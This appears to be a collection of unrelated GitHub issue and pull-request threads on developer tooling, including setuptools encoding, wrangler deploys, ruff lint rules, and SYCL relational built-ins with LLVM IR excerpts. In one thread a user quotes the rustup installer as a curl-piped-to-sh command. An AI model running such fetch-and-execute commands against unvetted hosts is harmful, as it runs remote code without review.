lgtm.


Setuptools creates non-UTF8 Python files with no encoding specified

My environment is: Windows 10 x64 LTSB Russian, Python x64 3.6.5, Pip 10.0.1, Setuptools 39.2.0.
I install PyInstaller with pip install pyinstaller. It installs, but doesn't work: pyinstaller myscript.py fails due to pyinstaller-script.py in the Scripts subfolder containing non-UTF-8 codes. In fact, its encoding is CP1251 on my machine but no encoding is specified inside the file.
The offending line contains the path to the Python interpreter executable. This is because I run all commands in the virtual environment located in path with non-latin characters. If I run commands in virtual environment placed in latin-only path, no errors are thrown.
The output is:
File "C:\Users\Зарубкин\Documents\Python Projects\uno-db\venv\Scripts\pyinstaller-script.py", line 1
SyntaxError: Non-UTF-8 code starting with '\xc7' in file C:\Users\Зарубкин\Documents\Python Projects\uno-db\venv\Scripts\pyinstaller-script.py on line 1, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details

I think Setuptools should either create files in UTF8 encoding or specify the encoding inside the Python file.

So with this issue, is this py-installer.py something generated by setuptools, or is it something that setuptools is merely packaging? If you try and package a script using setuptools and don't specify an encoding, I don't think there's much if anything we can do about that. If setuptools is generating the files, then they should have the encoding specified, and probably they should be in UTF-8.
One possibility is we could take anything without an encoding specified and decode it with UTF-8, then write the output with UTF-8 to try and break this earlier in the pipeline, but I do worry that this might end up generating a bunch of mojibake and not actually failing.
Another option would be to decode anything with no encoding specified using UTF-8, and if it fails throw a warning/error, but otherwise leave the script unchanged. That may help some people who unknowingly have this issue, even if it's not a perfect fix.

I think that file is generated by setuptools, because it contains path to my virtual environment.

I believe this is a duplicate of #1246, so I'm consolidating the discussion there. If the two are actually different issues, please let me know and we can re-open this one.


NEXT-37313 - api client reauthentication

I tested this manually by importing a csv-file with 10.000 manufacturers and setting the expires-time of access_token_ttl in src/Core/Framework/DependencyInjection/Configuration.php to PT1S (1 second).


Add nodepool-name support for both aks create and aks scale operations

This checklist is used to make sure that common guidelines for a pull request are followed.

[X ] The PR has modified HISTORY.rst describing any customer-facing, functional changes. Note that this does not include changes only to help content. (see Modifying change log).

[ X] I adhere to the Command Guidelines.

Please fix the CI automation failure and resolve the conflict.

Please resolve the conficts.

Thanks @troydai, have been working through the unittests issue since past week, Finally got it working. Will keep an eye on the CI build

@mboersma Can you please take a look?


Throttle in Get-AdobeUsers function not working

@zincarla the throttle code in the Get-AdobeUsers function doesn't work, because the values it's looking for never exist. I've implemented my own code, which seems to work. So submitted it via a Pull request.
I hope this is the right way, since this is my first contribution to Git!
BTW: been using your module for several months now with no issues, until Monday morning when I ran into the throttle issue. I guess Adobe changed something! In my case, pulling back c.4800 users, which seems to need about 24 page requests to complete. Now throttles every 6 page requests. So if you have less than 1200 users to pull back, you may never hit the issue.

Thanks for the patch! I merged it in. I did try forcing the throttle to happen, but I was not able to. We do have less than 1200 users though. As for contributing to Git, each repository has it's own rules or requirements. The bigger ones usually publish a document on it. I don't have any official rules. Personally, as long as the issue is explained and the pull request makes sense, I'll probably accept it. Thanks again!


Add new column for bytes processed

Is your feature request related to a problem? Please describe.
To increase visibility into which DBT models costs money when running against BigQuery, we would like to have a new column for how many bytes were processed/billed. This could also be present for test-runs, as a wrongly configured test could end up costing a lot of money. (e.g. a full table scan for not_null in a column)
Describe the solution you'd like
I would like to have a new column in the elementary-dataset for reporting how many bytes were billed on a model-run, similar to how dbt_artifacts has fct_dbt__model_executions.bytes_affected (https://brooklyn-data.github.io/dbt_artifacts/#!/model/model.dbt_artifacts.fct_dbt__model_executions)
It should also be visible in the Elementary HTML-report under "Model Runs" and "Test Runs"
Describe alternatives you've considered

Parsing DBT-logs
Parsing run-results.json
Querying against BigQuery's Jobs-dataset/API
Using dbt_artifacts in tandem with Elementary

Additional context
BigQuery's on-demand billing bills per byte processed, so having models that consume a lot on unnecessary data will end up costing more. This feature will enable us to e.g. monitor when we need to move from a table-materialization to an incremental-materialization.
Would you be willing to contribute this feature?
No.

Sorry for the confusion, closing this as a duplicate of https://github.com/elementary-data/elementary/issues/420.


Dumb question: I didn't get any exe after compiling?

I didn't install Rust in Windows, I just downloaded Rust with WSL:
curl https://sh.rustup.rs -sSf | sh - this was recommended on the official page.
Is that why I didn't get any exe? Am I missing something?

Well, yes. You compiled wslgit using the Linux toolchain of Rust, and therefore get a Linux executable (the wslgit file in your screenshot).
But for wslgit to work, you need a Windows executable (a .exe), which AFAIK you can only compile with the Windows version of Rust.


Click at the end of line, cursor jump back to start on VSCode web

GitLens Version: 10.1.1

VSCode Version: 1.40.1 (WEB)
OS Version:

Steps to Reproduce:

Open a file with git history info at the end;

Click at the end of the line;

The cursor will jump to the start of the line

@yuxuan I can't reproduce this -- does this only happen on the web? Can you get it to happen on the desktop too?

Hi @eamodio. Yes, this is only happened on the web. Desktop doesn't have this issue.

I just started having this issue as well. It seems to only be happening in VSCode-Insiders for me though.

Caused by microsoft/vscode#88873


DOC: Update README fixing description of the module

Deploy key associated with CircleCI removed and re-added within CirleCI settings.
The CircleCI deploy key now shows up as expected in the GitHub project settings:

Before
After


Should binding stubs exist in view-macho or in platform-mac?

So now that mach-o is OSS, a feature that should be built is the parsing of stubs to their symbolic name.  The stubs section starts with a generic "thunk" and each successive function is a stub function, followed by an immediate constant value which is the index into the DYLD Tries that binds the symbol.  By iterating over each stub/thunk we can correctly name these functions as __stub_binder_thunk$LIBRARY$SYMBOL

#111 Ideally we'd handle that with a generic approach but until that point we could handle this in the view.


Add example of simple e-commerce tracking

The readme really lacks a plug-and play example of simple e-commerce tracking which is what probably accounts for 99% of all tracking installations.

Coverage remained the same at 100.0% when pulling 9641914d10efc0757513ea3afe646e6a565c06df on okneloper:docu into 8fdd5130dab67e84175a3a4232f8663c70e22051 on theiconic:master.


Java indexer: emit package annotation and documentation relations [phab:D2018]

Created by schroederc at 2017-11-08 20:33:48:

zarko accepted this revision at 2017-11-08 20:37:01

schroederc closed via commit 72aa0ab9432dd120ac22310debf106c18b8d0f30 at 2017-11-08 20:43:41


install numpy, but AttributeError: 'module' object has no attribute '_getframe'

From @whaozl on February 24, 2017 6:36
D:\IronPython-2.7.7-win\Scripts>ipy -X:Frames -m pip install numpy
Collecting numpy
D:\IronPython-2.7.7-win\Lib\site-packages\pip\_vendor\requests\packages\urllib3\util\ssl_.py:1: SNIMissingWarning: An HTTPS request has been made, but the SNI (Subject Name Indication) extension to TLS is not available on this platform. This may cause the server to present an incorrect TLS certificate, which can cause validation failures. For more information, see https://urllib3.readthedocs.org/en/latest/security.html#snimissingwarning.
  from __future__ import absolute_import
  Using cached numpy-1.12.0.zip
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "D:\IronPython-2.7.7-win\Lib\site-packages\setuptools\__init__.py", line 11, in <module>
      File "D:\IronPython-2.7.7-win\Lib\site-packages\setuptools\extern\__init__.py", line 1, in <module>
      File "D:\IronPython-2.7.7-win\Lib\site-packages\pkg_resources\__init__.py", line 46, in <module>
      File "D:\IronPython-2.7.7-win\Lib\site-packages\pkg_resources\extern\__init__.py", line 42, in load_module
      File "D:\IronPython-2.7.7-win\Lib\site-packages\pkg_resources\_vendor\six.py", line 701, in <module>
      File "D:\IronPython-2.7.7-win\Lib\site-packages\pkg_resources\_vendor\six.py", line 692, in exec_
    AttributeError: 'module' object has no attribute '_getframe'
    ----------------------------------------

And, I udpate the pip to pip9.0.1 by:
ipy64 -X:FullFrames -m pip install --upgrade pip

Then, install the numpy:
D:\IronPython-2.7.7-win\Scripts>ipy64 -X:FullFrames -m pip install numpy
Unhandled exception:
Traceback (most recent call last):
  File "D:\IronPython-2.7.7-win\Lib\runpy.py", line 182, in run_module
  File "D:\IronPython-2.7.7-win\Lib\site-packages\pip\_vendor\pyparsing.py", line 1261, in setParseAction
  File "D:\IronPython-2.7.7-win\Lib\site-packages\pip\_vendor\pyparsing.py", line 1043, in _trim_arity
  File "D:\IronPython-2.7.7-win\Lib\runpy.py", line 111, in _get_module_details
  File "D:\IronPython-2.7.7-win\Lib\site-packages\pip\__init__.py", line 26, in <module>
  File "D:\IronPython-2.7.7-win\Lib\site-packages\pip\utils\__init__.py", line 27, in <module>
  File "D:\IronPython-2.7.7-win\Lib\site-packages\pip\_vendor\pkg_resources\__init__.py", line 74, in <module>
  File "D:\IronPython-2.7.7-win\Lib\site-packages\pip\_vendor\packaging\requirements.py", line 9, in <module>
  File "D:\IronPython-2.7.7-win\Lib\site-packages\pip\_vendor\pyparsing.py", line 4715, in <module>
IndexError: index out of range: -1

Copied from original issue: IronLanguages/main#1580

From @moshearuch on March 12, 2017 13:40
The same with google-apputils.

We currently ship with a specific version of pip that we have tested with IronPython (arguments as to whether it works with all packages is still up in ther air). We are enabling frames by default in the next release, but please don't upgrade pip.

2.7.8 has frames enabled by default.


Margin violation in every lines

Hello all
I wrote my thesis with EMNLP 2023 version of Overleaf. And I used Colab version of ACLpubcheck. However, it says that all the lines in my paper exceed the margin. I did not change anything in the latex formatting of EMNLP 2023. And also didn't change nothing in the colab code.
To check, I downloaded the pdf of the Instructions for EMNLP 2023 Proceedings (https://www.overleaf.com/latex/templates/instructions-for-emnlp-2023-proceedings/scyjxmtnrskr) and ran the online pubcheck. The results were the same.
Is there a problem with aclpubcheck?

aclpubcheck should be applied to camera-ready files.
I just wanted to let you know that you generated the version to be submitted for review.
Please, open the latex file and take a look at this row:
% Remove the "review" option to generate the final version.
\usepackage[review]{EMNLP2023}

I hope this helps you.
Bests
Danilo

@crux82 After remove [review], it works properly. Great thanks!


High CPU Usage

Hi, sorry for opening another issue but I noticed the app likes having CPU usage spikes when downloading artist images

I have an old i3-4130 CPU but this is pretty much the only time I see high usage..
Is there any way to delay the scans (they happen very often) or lower the CPU usage ?
Thanks

Hello @123321mario
Thanks for raising this issue. The high usage happens because Swing Music uses all your available CPUs to download the data.
I'll modify that part to lower CPU usage for the next release (should be out soon). I'll let you know when it's fixed.
Thank you.


Add a SetOf model field type

We need a field type that gives us set-like behaviour, but is stored as a JSON list under the hood.

:+1: from me once Travis is happy.


🐛 BUG: wrangler deploy is not working

Which Cloudflare product(s) does this pertain to?
KV, Workers Runtime
What version(s) of the tool(s) are you using?
3.60.3 wrangler
What version of Node are you using?
v20.11.1
What operating system and version are you using?
Windows 10
Describe the Bug
Observed behavior
npm run deploy errors out with:
node_modules\wrangler\wrangler-dist\cli.js:29747
            throw a;
            ^

SyntaxError: Unexpected token '<', "<!DOCTYPE "... is not valid JSON
    at JSON.parse (<anonymous>)

Expected behavior
The build should deploy correctly
Steps to reproduce

run: npm create cloudflare@latest wrangler-test
setup with hello world worker
try to run the hello world worker locally: npm run dev
run: npm run deploy
open the OAuth url in browser and grant permission to wrangler
Notice above mentioned error in console

I didn't modified code at all. Just tried to deploy the out of box hello world worker, even then it is throwing error
Please provide a link to a minimal reproduction
No response
Please provide any relevant error logs
node_modules\wrangler\wrangler-dist\cli.js:29747
throw a;
^
SyntaxError: Unexpected token '<', "<!DOCTYPE "... is not valid JSON
..
..
..
..

Duplicate of #3672, which we've just released a fix for. Could you try deploying again?

@penalosa Thanks for the fix! Tried this fix for a few times and it is working well! I'll close this issue!


INP001 for top level setup.py, manage.py, noxfile.py

ruff 0.0.240 issues INP001 for some commonly found top level files, such as

setup.py ("legacy" setuptools etc)
manage.py (Django)
noxfile.py (Nox)

I don't think these warrant adding a top level __init__.py, and suggest ignoring them as far as INP001 is concerned. (In fact, I'm not sure if this should be actually done for the top level dir in any case no matter what's in it, but I admit I haven't thought much about it at all and can't tell offhand.)
This would be a deviation from upstream behavior, but a sensible one in my opinion. Upstream documentation contains a recipe mentioning manage.py.

A heuristic may be to ignore those names at the root level (not sure how to detect that, though)

We could in theory use src for this...? See if anything is directly in a src directory, and ignore it?

We could in theory use src for this...? See if anything is directly in a src directory, and ignore it?

noxfile.py and setup.py could be outside of the src directory, though. Not sure about manage.py.

Right, those two are actually very likely always in the top level dir, no matter what src is set to. I believe the same applies to manage.py.
Perhaps ignore everything in the top level dir and all src ones, irrespective of the file names?

What's the different between the top-level dir and the src directories? (Here, I'm referring to src = ["."], not a literal ./src directory, just in case that was unclear.)

What's the different between the top-level dir and the src directories? (Here, I'm referring to src = ["."], not a literal ./src directory, just in case that was unclear.)

Ah, now that makes more sense 😅. Yeah, it's probably safe to ignore those files in the src directories.

By "top level" dir I mean the project's root dir, no matter what src is set to.
So if we have a project using the common "src" layout, we want to configure ruff with src = ["src"]. But at least setup.py and noxfile.py are pretty much always in the "top level" dir in such projects, not in ./src/, and ruff after #2560 still issues INP001 for them.
So to reiterate, I think all files directly in both ./ (== "top level", or "proejct root dir") and whatever is included in the src config, should be ignored. The latter is taken care of by #2560, the former is unaddressed.
Example affected project: https://github.com/scop/pytekukko
$ cargo run .../pytekukko
    Finished dev [unoptimized + debuginfo] target(s) in 0.15s
     Running `target/debug/ruff .../pytekukko`
warning: Detected debug build without --no-cache.
.../pytekukko/noxfile.py:1:1: INP001 File `.../pytekukko/noxfile.py` is part of an implicit namespace package. Add an `__init__.py`.

Fixed in #2565.

Nice, thanks!

manage.py usually located not in the project_root but in the src root as project root has CI configuration and all other related stuff, and inside SRC we have all the code related to running the service (manage.py is kind of an entry point for django)

I can see how a repo might be set up that way, but in my experience the setups having manage.py in the project top level dir vastly outnumber ones having it elsewhere.

@scop and @charliermarsh no worry guys. This issue can be easily fixed by applying per-file ignore in the pyproject.toml
Therefore please just ignore my comment.
P.S.: To preserve original manage.py file from django-admin startproject we have to apply multiple exceptions anyways...
Have to double check if in new version of Django the format has been changed though 😕
[tool.ruff.per-file-ignores]
"manage.py" = ["I002", "INP001", "ISC003"]


Build on Appstore doesn't fire the in-app purchase

Hello, i've tried this for a while with test flight and have now uploaded the app to AppStore. In Testflight it works perfect, when i press the button (for a consumable) i get a request to log in to buy the product. Now when i press on the release build on app store nothing happens. Any idea why this is?

I had missing metadata on the in-app purchase. So the app was released without in-app purchase attached. Now my in-app purchase is on review on iTunes connect and i have uploaded a new binary with in-app purchase.


Add isfinite, isinf, isnormal and signbit relational built-ins

Hi @illuhad,
Congratulations on the name change to Open SYCL, it's looking great. :)
I created some new macros to avoid repeating the same code structure over and over.
Let me know if their names make sense to you, and double check the return types as well. :)
I just didn't implement isnormal because I don't know what I'd map it to for the Nvidia libdevice SSCP path.
Cheers,
-Nuno

Awesome! Would it be possible to maybe add some tests? At least compile tests, to see if the functions get instantiated correctly for all backends.

Sure, can you maybe point me to an existing example?

Sure, can you maybe point me to an existing example?

You can look at the tests for the math builtins for some inspiration: https://github.com/OpenSYCL/OpenSYCL/blob/develop/tests/sycl/math.cpp

Hi Nuno, what is the state here? From my perspective it's only waiting for tests. Just want to make sure you're not waiting on something from me :-)

Hi Aksel,
I've given it a shot. 🙂
I took heavy inspiration from the tests for the math builtins, thanks for the tip! There's some redundancy now on the utility types, traits and functions between relational.cpp and math.cpp, let me know if you'd like to move them to a common header.
Unfortunately, isnormal remains a bit of a problem. I'm facing linking issues so I've commented it out for now. What's the path that the nvc++ flow/tests take?
Cheers!

Unfortunately, isnormal remains a bit of a problem. I'm facing linking issues so I've commented it out for now. What's the path that the nvc++ flow/tests take? Calling std::is normal should work in that case, so I could make the switch.

Okay, the linking problem on the Linux clang based tests only happens with clang 11, all other tested versions are okay (I suspect isnormal just wasn’t implemented back then for the amd backend). Two options:

We fence the test using __clang_major__;
We stop testing with clang 11.
Which would you prefer?

Lovely! Thanks, Nuno :-)

😊

What are the error messages?

I thought it'd be easier if I just let you see the error messages for yourself so I've (re-)enabled the test for the isnormal built-in.

It goes through the same path as clang CUDA.

Ah, in that case I don't quite understand what the problem is then, because I can definitely use ::isnormal inside a CUDA kernel with nvc++. I don't have version 22.1 installed locally, but I did try it with both 21.7 and 23.1...

For the clang issue, you could try whether __builtin_isnormal() works. It's possible clang 11 cuda wrapper headers just don't support isnormal(). The implementation of this function should just call __builtin_isnormal().
For nvc++: nvc++ is known to be a little brittle as a compiler. It's not as stable as clang (or gcc). There are already a couple of test cases disabled for nvc++, because they cause it to crash. There are also a couple of math builtins that don't get resolved correctly by nvc++ in specific code environments with similar linker issues. We've reported those issues were we could find a minimal reproducer, but this is not always easy. Long story short: nvc++ has bugs. Just disable the test case for nvc++ in that case.

For the clang issue, you could try whether __builtin_isnormal() works. It's possible clang 11 cuda wrapper headers just don't support isnormal(). The implementation of this function should just call __builtin_isnormal().

Bingo, that was it! :)

For nvc++: nvc++ is known to be a little brittle as a compiler. It's not as stable as clang (or gcc). There are already a couple of test cases disabled for nvc++, because they cause it to crash. There are also a couple of math builtins that don't get resolved correctly by nvc++ in specific code environments with similar linker issues. We've reported those issues were we could find a minimal reproducer, but this is not always easy. Long story short: nvc++ has bugs. Just disable the test case for nvc++ in that case.

I've disabled the test case but, as hinted in another comment, the use of sycl::vec::swizzle brought new problems with it...
I've discovered that newer versions of the Nvidia HPC SDK don't have the same issues and I've prepared #986 which if merged will fix the failing test in this PR. :-)
Cheers,
-Nuno

I normally test on a V100 and on an MI210.
I think I remember testing the new functionality on both, but I'm also almost certain I used literals... I hope that didn't replace any actual device work with compile time constant expression evaluations...

I've tested on NVIDIA and Intel with the generic SSCP path. Works too :-) At least the SSCP compiler does generate actual device work. Here's an excerpt of the code it generates (note the calls to __hipsycl_sscp_isnormal_f32() etc) for relational.cpp:
define linkonce_odr dso_local void @_ZNK7hipsycl4glue15__sscp_dispatch11single_taskIZZN9rel_tests18rel_genfloat_unaryINS_4sycl3vecIfLi2ENS5_6detail11vec_storageIfLi2EEEEEE11test_methodEvENKUlRNS5_7handlerEE_clESD_EUlvE_EclEv(%"class.hipsycl::glue::__sscp_dispatch::single_task.731"* noundef nonnull align 8 dereferenceable(48) %0) local_unnamed_addr #1 comdat align 2 {
  %2 = getelementptr inbounds %"class.hipsycl::glue::__sscp_dispatch::single_task.731", %"class.hipsycl::glue::__sscp_dispatch::single_task.731"* %0, i64 0, i32 0, i32 1
  %3 = bitcast %"class.hipsycl::sycl::accessor.726"* %2 to <2 x float>**
  %4 = load <2 x float>*, <2 x float>** %3, align 8, !tbaa !5
  %5 = load <2 x float>, <2 x float>* %4, align 8, !tbaa.struct !9
  %6 = extractelement <2 x float> %5, i64 0
  %7 = tail call i32 @__hipsycl_sscp_isfinite_f32(float noundef %6) #4
  %8 = extractelement <2 x float> %5, i64 1
  %9 = tail call i32 @__hipsycl_sscp_isfinite_f32(float noundef %8) #4
  %10 = zext i32 %9 to i64
  %11 = shl nuw i64 %10, 32
  %12 = zext i32 %7 to i64
  %13 = or i64 %11, %12
  %14 = bitcast %"class.hipsycl::glue::__sscp_dispatch::single_task.731"* %0 to %"class.hipsycl::sycl::vec.715"**
  %15 = bitcast %"class.hipsycl::glue::__sscp_dispatch::single_task.731"* %0 to i64**
  %16 = load i64*, i64** %15, align 8, !tbaa !5
  store i64 %13, i64* %16, align 8, !tbaa.struct !9
  %17 = load <2 x float>*, <2 x float>** %3, align 8, !tbaa !5
  %18 = load <2 x float>, <2 x float>* %17, align 8, !tbaa.struct !9
  %19 = extractelement <2 x float> %18, i64 0
  %20 = tail call i32 @__hipsycl_sscp_isinf_f32(float noundef %19) #4
  %21 = extractelement <2 x float> %18, i64 1
  %22 = tail call i32 @__hipsycl_sscp_isinf_f32(float noundef %21) #4
  %23 = zext i32 %22 to i64
  %24 = shl nuw i64 %23, 32
  %25 = zext i32 %20 to i64
  %26 = or i64 %24, %25
  %27 = load %"class.hipsycl::sycl::vec.715"*, %"class.hipsycl::sycl::vec.715"** %14, align 8, !tbaa !5
  %28 = getelementptr inbounds %"class.hipsycl::sycl::vec.715", %"class.hipsycl::sycl::vec.715"* %27, i64 1
  %29 = bitcast %"class.hipsycl::sycl::vec.715"* %28 to i64*
  store i64 %26, i64* %29, align 8, !tbaa.struct !9
  %30 = load <2 x float>*, <2 x float>** %3, align 8, !tbaa !5
  %31 = load <2 x float>, <2 x float>* %30, align 8, !tbaa.struct !9
  %32 = extractelement <2 x float> %31, i64 0
  %33 = tail call i32 @__hipsycl_sscp_isnan_f32(float noundef %32) #4
  %34 = extractelement <2 x float> %31, i64 1
  %35 = tail call i32 @__hipsycl_sscp_isnan_f32(float noundef %34) #4
  %36 = zext i32 %35 to i64
  %37 = shl nuw i64 %36, 32
  %38 = zext i32 %33 to i64
  %39 = or i64 %37, %38
  %40 = load %"class.hipsycl::sycl::vec.715"*, %"class.hipsycl::sycl::vec.715"** %14, align 8, !tbaa !5
  %41 = getelementptr inbounds %"class.hipsycl::sycl::vec.715", %"class.hipsycl::sycl::vec.715"* %40, i64 2
  %42 = bitcast %"class.hipsycl::sycl::vec.715"* %41 to i64*
  store i64 %39, i64* %42, align 8, !tbaa.struct !9
  %43 = load <2 x float>*, <2 x float>** %3, align 8, !tbaa !5
  %44 = load <2 x float>, <2 x float>* %43, align 8, !tbaa.struct !9
  %45 = extractelement <2 x float> %44, i64 0
  %46 = tail call i32 @__hipsycl_sscp_isnormal_f32(float noundef %45) #4
  %47 = extractelement <2 x float> %44, i64 1
  %48 = tail call i32 @__hipsycl_sscp_isnormal_f32(float noundef %47) #4
  %49 = zext i32 %48 to i64
  %50 = shl nuw i64 %49, 32
  %51 = zext i32 %46 to i64
  %52 = or i64 %50, %51
  %53 = load %"class.hipsycl::sycl::vec.715"*, %"class.hipsycl::sycl::vec.715"** %14, align 8, !tbaa !5
  %54 = getelementptr inbounds %"class.hipsycl::sycl::vec.715", %"class.hipsycl::sycl::vec.715"* %53, i64 3
  %55 = bitcast %"class.hipsycl::sycl::vec.715"* %54 to i64*
  store i64 %52, i64* %55, align 8, !tbaa.struct !9
  %56 = load <2 x float>*, <2 x float>** %3, align 8, !tbaa !5
  %57 = load <2 x float>, <2 x float>* %56, align 8, !tbaa.struct !9
  %58 = extractelement <2 x float> %57, i64 0
  %59 = tail call i32 @__hipsycl_sscp_signbit_f32(float noundef %58) #4
  %60 = extractelement <2 x float> %57, i64 1
  %61 = tail call i32 @__hipsycl_sscp_signbit_f32(float noundef %60) #4
  %62 = zext i32 %61 to i64
  %63 = shl nuw i64 %62, 32
  %64 = zext i32 %59 to i64
  %65 = or i64 %63, %64
  %66 = load %"class.hipsycl::sycl::vec.715"*, %"class.hipsycl::sycl::vec.715"** %14, align 8, !tbaa !5
  %67 = getelementptr inbounds %"class.hipsycl::sycl::vec.715", %"class.hipsycl::sycl::vec.715"* %66, i64 4
  %68 = bitcast %"class.hipsycl::sycl::vec.715"* %67 to i64*
  store i64 %65, i64* %68, align 8, !tbaa.struct !9
  ret void
}

If you'd like to test with the other compilation flows (HIP/CUDA), you can try compiling relational.cpp using --cuda-device-only -emit-llvm and/or -S.
But seeing that it does not generate constant expression in the generic compiler, it is unlikely that the other backends behave differently.

Hi Nuno,
given all the contributions you've made/are making, I've sent an invitation to join the OpenSYCL github organization. No obligations or expectations are tied to this, it just makes it potentially easier to collaborate - and once our self-hosted CI is fixed, you'll get access to our self-hosted github runners and can test PRs on GPUs :-)
PS: I realize the edit might have been easy to overlook - as stated in my previous post, this PR is just waiting for rebasing on current develop so that we can have nvc++ tests run with the updated nvc++ CI :)

Hi Nuno,
given all the contributions you've made/are making, I've sent an invitation to join the OpenSYCL github organization. No obligations or expectations are tied to this, it just makes it potentially easier to collaborate - and once our self-hosted CI is fixed, you'll get access to our self-hosted github runners and can test PRs on GPUs :-)

Hi Aksel,
Thank you for the kind words and for making me part of the GitHub organisation. :-)

PS: I realize the edit might have been easy to overlook - as stated in my previous post, this PR is just waiting for rebasing on current develop so that we can have nvc++ tests run with the updated nvc++ CI :)

Done.

I've also tried generating human-readable (debatable :-P) LLVM bitcode (.ll) with syclcc --hipsycl-targets=cuda:sm_70 -O0 -S -emit-llvm relational.cpp. Then, I grepped the directory for isnormal and this is the result:

As you can see, I've commented out the host call at the bottom of the file to make sure these are due to the SYCL kernel region. But also note that all the hits are in relational.ll and not relational-cuda-nvptx64-nvidia-cuda-sm_70.ll, reason why I didn't use --cuda-device-only... I've used -O0 because with the usual -O3 I suspect everything is getting inlined and I lose the explicit calls.
The only thing left in my mind is if these could be host calls, does Open SYCL take two passes, one for the host and one for the CUDA device, or just one for the latter?
Cheers,
-Nuno

Thank you for the kind words and for making me part of the GitHub organisation. :-)

No problem :)

The only thing left in my mind is if these could be host calls. Does Open SYCL take two passes, one for the host and one for the CUDA device, or just one for the latter? I'm almost sure at least some of that is device code though, since commenting out the kernel call, leaving the host call at the bottom and changing it to the sycl namespace, gives:

The cuda and hip targets go through the clang CUDA/HIP toolchains which indeed is based on a multipass design. So, the actual GPU code would be in the relational-cuda-nvptx64-nvidia-cuda-sm_70.ll. (Note that our generic SSCP compiler is different and does not rely on a multipass design)
However, note that we always also generate kernels for the host CPU too inside the host pass, so you still have kernel code in the relational.ll - just not for the GPU path.
It might not be very reliable to grep for isnormal as the inlining behavior on GPU might be different even with -O0. Better to actually look at what the LLVM IR for the kernels is doing.

The cuda and hip targets go through the clang CUDA/HIP toolchains which indeed is based on a multipass design. So, the actual GPU code would be in the relational-cuda-nvptx64-nvidia-cuda-sm_70.ll. (Note that our generic SSCP compiler is different and does not rely on a multipass design)
However, note that we always also generate kernels for the host CPU too inside the host
pass, so you still have kernel code in the relational.ll - just not for the GPU path.
It might not be very reliable to grep for isnormal as the inlining behavior on GPU might be different even with -O0. Better to actually look at what the LLVM IR for the kernels is doing.

Thanks for the explanation, that clarifies a few things.
So now I just did syclcc --hipsycl-targets=cuda:sm_70 -g -O0 -S --cuda-device-only -emit-llvm relational.cpp (note the -g) and then grepped the directory for hiplike_builtin to catch them all:

I think I'm more convinced now, what do you think?

It's probably fine, but what you are seeing is debug information metadata, not actual code. In theory the compiler might still have evaluated the expression at compile time, and then just slapped the metadata there to say that this expression came from the isnormal function call. Can you attach the full .ll?

It's probably fine, but what you are seeing is debug information metadata, not actual code.

Indeed.

In theory the compiler might still have evaluated the expression at compile time, and then just slapped the metadata there to say that this expression came from the isnormal function call.

Oh, I didn't think that was possible, I was maybe reading too much into "linkageName"...

Can you attach the full .ll?

Certainly.
relational-cuda-nvptx64-nvidia-cuda-sm_70.ll.zip

Thanks - to me it looks good. It does contain stuff like:
%109 = load double, ptr %30, align 8, !dbg !6688
 %110 = call double @llvm.nvvm.fabs.d(double %109) #8, !dbg !6689
 %111 = fcmp ole double %110, 0x7FF0000000000000, !dbg !6689
 %112 = xor i1 %111, true, !dbg !6689
 %113 = zext i1 %112 to i32, !dbg !6689
 %114 = icmp ne i32 %113, 0, !dbg !6690
 %115 = zext i1 %114 to i32, !dbg !6681
 %116 = sext i32 %115 to i64, !dbg !6677

where it loads a double, and the does some magic to it with some bitmasks. That is the typical result of a floating point builtin (which don't result in actual function calls). The compiler inlines the calls to __hipsycl_*, because, as I remember, they have the __attribute__((always_inline)) :D

where it loads a double, and then does some magic to it with some bitmasks. That is the typical result of a floating point builtin (which don't result in actual function calls). The compiler inlines the calls to __hipsycl_*, because, as I remember, they have the __attribute__((always_inline)) :D

I think you are right, again! :P Following the debugging symbols, you get:
!6689 = !DILocation(line: 442, column: 45, scope: !5576, inlinedAt: !6687)

and then,
!5576 = distinct !DISubprogram(name: "__isnan", linkageName: "_ZL7__isnand", scope: !2331, file: !2331, line: 442, type: !1115, scopeLine: 442, flags: DIFlagPrototyped, spFlags: DISPFlagLocalToUnit | DISPFlagDefinition, unit: !6, retainedNodes: !844)

🙌


ISSUE #280 (solved) Improve Code Documentation for Middleware and Security Configurations

📋 Description
This PR enhances the codebase by adding detailed inline comments to improve readability and maintainability. The documentation covers middleware configurations, session management, security policies, and route handling. No functionality has been altered—only comments and documentation were added.
🔨 Changes Made

Added comments explaining middleware usage (e.g., helmet, mongoSanitize, express-session).

Clarified session store and cookie configuration.

Documented the helmet content security policy and its directives.

Added descriptions for route handlers and error-handling logic.

Ensured all functions and configuration blocks have relevant comments to help future contributors.

Why this is needed:
This documentation will assist developers in quickly understanding the structure and purpose of various configurations, making the code easier to maintain, extend, and debug.
✅ Checklist
Before submitting the PR, please make sure you have completed the following:

[x] My code follows the style guidelines of this project.
[x] I have performed a self-review of my own code.
[x] I have commented my code, particularly in hard-to-understand areas.
[ ] I have made corresponding changes to the documentation (if applicable).
[x] My changes generate no new warnings.
[ ] I have tested it locally and it works fine.
[ ] Any dependent changes have been merged and published in downstream modules.

🏷 Types of Changes
What type of changes does your code introduce? (Check all that apply)

[x] Bug fix (non-breaking change which fixes an issue) 🐛
[ ] New feature (non-breaking change which adds functionality) ✨
[ ] UI enhancement (non-breaking change which enhances UI) 🎨
[ ] Documentation update 📚

🤝 Related Issues

Fixes #280

📸 Screenshots (if applicable)

Reminder:
Please ensure your pull request is made to the test branch, not main.
Thank you for contributing to VigneshDevHub! We look forward to reviewing your PR and getting it merged!

Thankyou for Contributing!


Draft: Exporting SessionInstrumentation interface (Issue#132)

Description
This PR exports the SessionInstrumentation interface
Fixes
Fixes #132

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Understanding shared hosts for multiple functions in a function app

Hi!
TL:DR;
The post got quite long so here is the gist :) Are multiple functions within a function app reusing the same host? I tried to keep the host warm using a time triggered small function, but it didn't help to improve the response time of another http triggered function within that function app.
/TL:DR;
First of all, I really like the promise of Azure Functions, I truly hope that they evolve and one day provide us with the opportunities to write truly serverless code.
I'm currently evaluating Azure Functions for API use cases (Where a function would fully replace a hosted API in a Web app or something similar) and wanted to explore the cold start issues. This is my setup:
The code can be found here
1 Function app that triggers http requests (Timer: 1 minute, trigger-function.js)
4 Function app that are http end points (Http Trigger, api-function.js)
All function apps are in isolated resource groups but in the same region, all are on the dynamic plan.
